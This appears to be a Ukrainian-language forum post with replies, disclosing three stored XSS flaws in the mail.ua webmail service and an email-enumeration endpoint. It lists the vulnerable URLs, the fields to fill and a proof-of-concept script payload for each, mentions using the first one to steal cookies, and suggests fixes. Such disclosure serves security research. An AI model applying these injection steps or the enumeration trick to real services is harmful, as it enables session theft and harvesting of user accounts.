активні xss на mail.ua
сьогодні у меня зявилася можливість протестувати цей сервіс..

результат тесту: 3 активкні xss і маленька поправка ))
почну з тої самої маленької поправки, яка не є багом, але грає не менш важливу роль:
http://mail.ua/?0.48688674658612896&action=ajax_check_email&email=EMAIL_NAME
змінювавши EMAIL_NAME по списку (наприклад) можна взнати які мейли вільні.
маючи базу логінів, можна організувати провірку, і зібрати базу..
рекомендація: додати провірку referer + який небудь динамічний hash код
активка #1
“Написати” > “Тема” = “>< script>alert(1);< /script>< !–
відіславши повідомлення, просимо користувача глянути в одну із сторінок:
- http://mail.ua/main/?action=preload_unread_messages
- http://mail.ua/main/?action=ajax_message_list&link_id=1&order=desc&sort=rectime&start_from=1&end_on=1&query_id=1
в юзера спрацює ксс. можемо скористатися для “викрадення” куків..
активка #2
http://mail.ua/main/#settings/cover_links
“Мої сторінки” > “Додати лінк”
> “Заголовок” : “bla”
> “Лінк”: “>< script>alert(1);< /script>
зайшовши на:
http://mail.ua/main/?action=settings_tree_branch&branch=cover_links
побачимо ксс.. єдина проблема шо побачимо тільки ми кссШку, інші юзери не побачуть.. треба знайти спосіб де ці дані ше відображаються.. така сама штука і з третьою ксс..
активка #3
http://mail.ua/main/#settings/mail_general
“Загальне” > “Організація:”: “>< script>alert(1);< /script>< !–
http://mail.ua/main/?action=settings_tree_branch&branch=mail_general
–
це ще не все. пізніше ше буде =)
Рома, з твоєю допомогою напевно скоро сайт прийдеться перейменувати з “uasc” на “страх почтовиків”
presidentua: чекайте активку на гмейл
а “ещё одна фигня” – это что? с таким же успехом можно просто пройтись по LOGIN.mail.ua, и узнать базу пользователей.
xss – ну было пару штук, всему своё время.
>> с таким же успехом можно просто пройтись по LOGIN.mail.ua,
>> и узнать базу пользователей.
правильно, то чум б не добавити хоча б банальної провірки рефера? провіряти звідки ми прийшли. і зробили ліміт запитів хоча би..
дивно взагалі, що вони ajax-запити з json-ном дозволяють звичайним чином відкривати в браузері.